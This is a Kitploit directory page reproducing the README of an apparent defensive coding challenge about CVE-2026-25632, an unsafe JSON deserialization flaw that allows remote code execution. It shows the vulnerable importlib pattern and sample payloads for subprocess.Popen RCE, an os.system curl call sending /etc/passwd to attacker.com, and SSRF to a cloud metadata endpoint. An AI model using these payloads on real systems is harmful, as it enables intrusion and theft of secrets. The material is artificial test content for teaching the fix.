Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Corrección de la deserialización insegura de JSON que conduce a la ejecución remota de código | Kitploit
Herramientas/GitHubGitHub/lazarus0x1337/cve-2026-25632
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Corrección de la deserialización insegura de JSON que conduce a la ejecución remota de código

Ver Repositorio
13hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25632 — Deserialización JSON RCE en API REST (Desafío de Corrección)

Inspirado en una vulnerabilidad real de 2026 (CVSS 10.0, explotada activamente)
Basado en: CVE-2026-25632 — Ejecución remota de código mediante deserialización JSON insegura controlada por __type__, descubierta en la API REST de simulación de redes de agua EPyT-Flow y divulgada públicamente a principios de 2026.


Antecedentes

NovaSim es un marco de simulación basado en Python que expone una API REST para el control remoto de experimentos científicos. Para admitir la serialización flexible de objetos en entornos cliente heterogéneos, un desarrollador agregó un cargador JSON personalizado que detecta un campo especial __type__ e importa e instancia dinámicamente la clase Python referenciada usando importlib.

Este patrón fue divulgado como una vulnerabilidad crítica de ejecución remota de código (RCE) en un importante proyecto de código abierto en 2026. Los investigadores de seguridad identificaron que un atacante que controla el cuerpo JSON puede construir una cadena de gadgets dirigida a cualquier invocable en la biblioteca estándar de Python — incluyendo subprocess.Popen, , , y más de 25 gadgets SSRF — logrando comprometer completamente el servidor con una sola solicitud HTTP, .

os.system
eval
sin necesidad de autenticación

Tu Tarea

Se te proporciona la versión vulnerable de src/solution.py, que contiene exactamente el patrón de deserialización inseguro.

Tu objetivo: Corregir la vulnerabilidad en DeserializationService.load_from_json() para que:

  1. Los objetos de simulación legítimos en la lista permitida aún se deserialicen correctamente.
  2. Cualquier intento de cargar una clase fuera de la lista permitida lance un SecurityError.
  3. El campo __type__ ya no permita la importación arbitraria de módulos ni la instanciación de clases.
  4. Todos los datos de simulación válidos (JSON sin __type__) continúen cargándose normalmente.

Declaración del Problema Técnico

Patrón de Código Vulnerable (NO USAR)

root@kitploit:~
# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

Vectores de Ataque (de investigaciones de seguridad reales)

Un atacante envía una solicitud POST con un cuerpo JSON manipulado:

Vector 1 — RCE directo mediante subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vector 2 — RCE mediante os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vector 3 — SSRF mediante urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Los investigadores de seguridad documentaron 12 gadgets RCE directos y 25 gadgets SSRF alcanzables de esta manera solo a través de la biblioteca estándar de Python.


Tipos Permitidos

Los siguientes, y solo los siguientes, tipos de objetos de simulación pueden deserializarse mediante __type__:

__type__ valorClase Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Cualquier otro valor de __type__ DEBE lanzar un SecurityError inmediatamente, antes de que ocurra cualquier importación o instanciación.


Especificación de Entrada/Salida

Input

Objetos JSON enviados a DeserializationService.load_from_json(raw: str) -> dict | SimObject

Output

  • Si el JSON no tiene clave __type__: devuelve dict (JSON analizado).
  • Si el JSON tiene un __type__ permitido: devuelve la instancia del objeto de simulación correspondiente.
  • Si el JSON tiene un __type__ no permitido: lanza SecurityError con el mensaje: "Blocked unsafe type: <type_value>".
  • Si el JSON está mal formado: lanza ValueError con el mensaje: "Invalid JSON payload".

Casos Límite / Reglas de Manejo de Errores

EscenarioComportamiento esperado
__type__ ausenteAnalizar y devolver como dict plano
__type__ = "simulation.Sensor"Instanciar Sensor(**args)
__type__ = "subprocess.Popen"Lanzar SecurityError
__type__ = "os.system"Lanzar SecurityError
__type__ = "__builtins__.eval"Lanzar SecurityError
__type__ = "" (cadena vacía)Lanzar SecurityError
__type__ es una lista o enteroLanzar SecurityError (campo de tipo inválido)
Cadena JSON mal formadaLanzar ValueError
Campos extra desconocidos en objeto válidoAceptados, pasados como kwargs al constructor

Archivos

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- Estás aquí
├── Dockerfile                  <- Entorno de compilación determinista
├── src/
│   ├── solution.py             <- Código inicial con ERROR (tu objetivo)
│   ├── solution_fixed.py       <- Solución de referencia (oculta del agente)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Clases de modelo de simulación permitidas
└── tests/
    └── test_solution.py        <- Banco de pruebas (FALLA con el código erróneo, PASA con el corregido)

Criterios de Verificación

La corrección debe pasar TODOS los siguientes:

  • Todas las 4 pruebas estándar de deserialización (tipos permitidos, dict plano sin tipo)
  • Todas las 5 pruebas de bloqueo de vectores de ataque (subprocess, os, eval, urllib, builtins)
  • Todas las 3 pruebas de casos límite (tipo vacío, tipo no cadena, JSON mal formado)
  • Sin llamadas de red externas durante las pruebas
  • Determinista entre ejecuciones

Referencias

  • NVD — CVE-2026-25632
  • Aviso CISA — Catálogo de Vulnerabilidades Explotadas Conocidas
  • Investigación de Seguridad: 79 Gadgets Descubiertos — MazeHQ, 2026
  • CWE-502: Deserialización de Datos No Confiables
Descargar herramienta